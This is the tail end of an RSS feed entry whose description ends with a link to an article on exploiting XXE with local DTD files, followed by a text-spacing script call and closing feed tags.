&lt;li&gt;&lt;a href=&#34;https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/&#34;&gt;https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
  </channel>
</rss>